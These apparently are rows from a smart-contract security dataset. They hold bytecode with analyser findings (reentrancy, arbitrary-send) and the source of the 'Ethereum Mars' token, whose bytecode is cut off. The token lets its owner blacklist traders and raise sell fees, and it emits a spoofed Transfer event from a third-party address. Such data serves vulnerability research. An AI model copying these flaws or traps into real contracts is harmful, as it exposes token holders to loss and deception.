} | 0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb1461033a578063b515566a1461035a578063c3c8cd801461037a578063d91a21a61461038f578063dd62ed3e146103af578063e9e1831a146103f557600080fd5b80637d1db4a51461029e5780638a259e6c146102b45780638a8c523c146102c95780638da5cb5b146102de57806395d89b411461030657600080fd5b8063313ce567116100f2578063313ce567146102185780635932ead1146102345780636fc3eaec1461025457806370a0823114610269578063715018a61461028957600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d6578063273123b7146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c4f6e652050756e636820494e5560981b60208201525b6040516101799190611684565b60405180910390f35b34801561018e57600080fd5b506101a261019d3660046116fe565b61040a565b6040519015158152602001610179565b3480156101be57600080fd5b5066038d7ea4c680005b604051908152602001610179565b3480156101e257600080fd5b506101a26101f136600461172a565b610421565b34801561020257600080fd5b5061021661021136600461176b565b61048a565b005b34801561022457600080fd5b5060405160098152602001610179565b34801561024057600080fd5b5061021661024f366004611796565b6104de565b34801561026057600080fd5b50610216610526565b34801561027557600080fd5b506101c861028436600461176b565b610533565b34801561029557600080fd5b50610216610555565b3480156102aa57600080fd5b506101c8600f5481565b3480156102c057600080fd5b506102166105c9565b3480156102d557600080fd5b506102166107c2565b3480156102ea57600080fd5b506000546040516001600160a01b039091168152602001610179565b34801561031257600080fd5b5060408051808201909152600b81526a4f6e6550756e6368494e5560a81b602082015261016c565b34801561034657600080fd5b506101a26103553660046116fe565b610801565b34801561036657600080fd5b506102166103753660046117c9565b61080e565b34801561038657600080fd5b50610216610962565b34801561039b57600080fd5b506102166103aa36600461188e565b610978565b3480156103bb57600080fd5b506101c86103ca3660046118a7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561040157600080fd5b506102166109d1565b6000610417338484610bb1565b5060015b92915050565b600061042e848484610cd5565b610480843361047b85604051806060016040528060288152602001611aa6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fef565b610bb1565b5060019392505050565b6000546001600160a01b031633146104bd5760405162461bcd60e51b81526004016104b4906118e0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105085760405162461bcd60e51b81526004016104b4906118e0565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761053081611029565b50565b6001600160a01b03811660009081526002602052604081205461041b90611063565b6000546001600160a01b0316331461057f5760405162461bcd60e51b81526004016104b4906118e0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016104b4906118e0565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062e308266038d7ea4c68000610bb1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066757600080fd5b505afa15801561067b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069f9190611915565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e757600080fd5b505afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f9190611915565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561076757600080fd5b505af115801561077b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079f9190611915565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016104b4906118e0565b600e805460ff60a01b1916600160a01b179055565b6000610417338484610cd5565b6000546001600160a01b031633146108385760405162461bcd60e51b81526004016104b4906118e0565b60005b815181101561095e57600d5482516001600160a01b039091169083908390811061086757610867611932565b60200260200101516001600160a01b0316141580156108b85750600e5482516001600160a01b03909116908390839081106108a4576108a4611932565b60200260200101516001600160a01b031614155b80156108ef5750306001600160a01b03168282815181106108db576108db611932565b60200260200101516001600160a01b031614155b1561094c5760016006600084848151811061090c5761090c611932565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806109568161195e565b91505061083b565b5050565b600061096d30610533565b9050610530816110e0565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016104b4906118e0565b600081116109af57600080fd5b6109cb60646109c566038d7ea4c6800084611269565b90610b68565b600f5550565b6000546001600160a01b031633146109fb5760405162461bcd60e51b81526004016104b4906118e0565b600d546001600160a01b031663f305d7194730610a1781610533565b600080610a2c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8f57600080fd5b505af1158015610aa3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac89190611979565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b3057600080fd5b505af1158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053091906119a7565b6000610baa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e8565b9392505050565b6001600160a01b038316610c135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b4565b6001600160a01b038216610c745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b4565b6001600160a01b038216610d9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b4565b60008111610dfd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b4565b6003600a556007600b556000546001600160a01b03848116911614801590610e3357506000546001600160a01b03838116911614155b15610fdf57600e546001600160a01b038481169116148015610e635750600d546001600160a01b03838116911614155b8015610e8857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9d5750600e54600160b81b900460ff165b15610ec757600f54811115610eb157600080fd5b600e54600160a01b900460ff16610ec757600080fd5b600d546001600160a01b03848116911614801590610efe57506001600160a01b03831660009081526005602052604090205460ff16155b8015610f175750600e546001600160a01b038381169116145b15610f72576001600160a01b03831660009081526006602052604090205460ff16158015610f5e57506001600160a01b03821660009081526006602052604090205460ff16155b610f6757600080fd5b6003600a556007600b555b6000610f7d30610533565b600e54909150600160a81b900460ff16158015610fa85750600e546001600160a01b03858116911614155b8015610fbd5750600e54600160b01b900460ff165b15610fdd57610fcb816110e0565b478015610fdb57610fdb47611029565b505b505b610fea838383611316565b505050565b600081848411156110135760405162461bcd60e51b81526004016104b49190611684565b50600061102084866119c4565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561095e573d6000803e3d6000fd5b60006008548211156110ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104b4565b60006110d4611321565b9050610baa8382610b68565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112857611128611932565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117c57600080fd5b505afa158015611190573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b49190611915565b816001815181106111c7576111c7611932565b6001600160a01b039283166020918202929092010152600d546111ed9130911684610bb1565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112269085906000908690309042906004016119db565b600060405180830381600087803b15801561124057600080fd5b505af1158015611254573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000826112785750600061041b565b60006112848385611a4c565b9050826112918583611a6b565b14610baa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b4565b600081836113095760405162461bcd60e51b81526004016104b49190611684565b5060006110208486611a6b565b610fea838383611344565b600080600061132e61143b565b909250905061133d8282610b68565b9250505090565b60008060008060008061135687611479565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061138890876114d6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113b79086611518565b6001600160a01b0389166000908152600260205260409020556113d981611577565b6113e384836115c1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142891815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c680006114558282610b68565b8210156114705750506008549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006114968a600a54600b546115e5565b92509250925060006114a6611321565b905060008060006114b98e878787611634565b919e509c509a509598509396509194505050505091939550919395565b6000610baa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fef565b6000806115258385611a8d565b905083811015610baa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b4565b6000611581611321565b9050600061158f8383611269565b306000908152600260205260409020549091506115ac9082611518565b30600090815260026020526040902055505050565b6008546115ce90836114d6565b6008556009546115de9082611518565b6009555050565b60008080806115f960646109c58989611269565b9050600061160c60646109c58a89611269565b905060006116248261161e8b866114d6565b906114d6565b9992985090965090945050505050565b60008080806116438886611269565b905060006116518887611269565b9050600061165f8888611269565b905060006116718261161e86866114d6565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116b157858101830151858201604001528201611695565b818111156116c3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461053057600080fd5b80356116f9816116d9565b919050565b6000806040838503121561171157600080fd5b823561171c816116d9565b946020939093013593505050565b60008060006060848603121561173f57600080fd5b833561174a816116d9565b9250602084013561175a816116d9565b929592945050506040919091013590565b60006020828403121561177d57600080fd5b8135610baa816116d9565b801515811461053057600080fd5b6000602082840312156117a857600080fd5b8135610baa81611788565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117dc57600080fd5b823567ffffffffffffffff808211156117f457600080fd5b818501915085601f83011261180857600080fd5b81358181111561181a5761181a6117b3565b8060051b604051601f19603f8301168101818110858211171561183f5761183f6117b3565b60405291825284820192508381018501918883111561185d57600080fd5b938501935b8285101561188257611873856116ee565b84529385019392850192611862565b98975050505050505050565b6000602082840312156118a057600080fd5b5035919050565b600080604083850312156118ba57600080fd5b82356118c5816116d9565b915060208301356118d5816116d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561192757600080fd5b8151610baa816116d9565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561197257611972611948565b5060010190565b60008060006060848603121561198e57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119b957600080fd5b8151610baa81611788565b6000828210156119d6576119d6611948565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a6657611a66611948565b500290565b600082611a8857634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611aa057611aa0611948565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef1f274edd2bf440effbf0b4f2e8f9c126ef97ceb2f7228a3789a3f99428b91a64736f6c63430008080033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,123 |
0x2bd6edb5f952a30b77faa694449f8d6d1a1c9748 | /**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/*
t.me/emarstoken
Ethereum Mars
$eMars
___---___
.-- --.
./ () .-. \.
/ o . ( ) \
/ . '-' \
| () . O . |
| |
| o () |
| .--. O |
| . | | |
\ `.__.' o . /
\ /
`\ o () /'
`--___ ___--'
---
___________ __ .__ _____
\_ _____// |_| |__ ___________ ____ __ __ _____ / \ _____ _______ ______
| __)_\ __\ | \_/ __ \_ __ \_/ __ \| | \/ \ / \ / \\__ \\_ __ \/ ___/
| \| | | Y \ ___/| | \/\ ___/| | / Y Y \ / Y \/ __ \| | \/\___ \
/_______ /|__| |___| /\___ >__| \___ >____/|__|_| / \____|__ (____ /__| /____ >
\/ \/ \/ \/ \/ \/ \/ \/
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract eMars is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Ethereum Mars";
string private constant _symbol = 'eMars';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4.25e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280600d81526020017f457468657265756d204d61727300000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f654d617273000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffff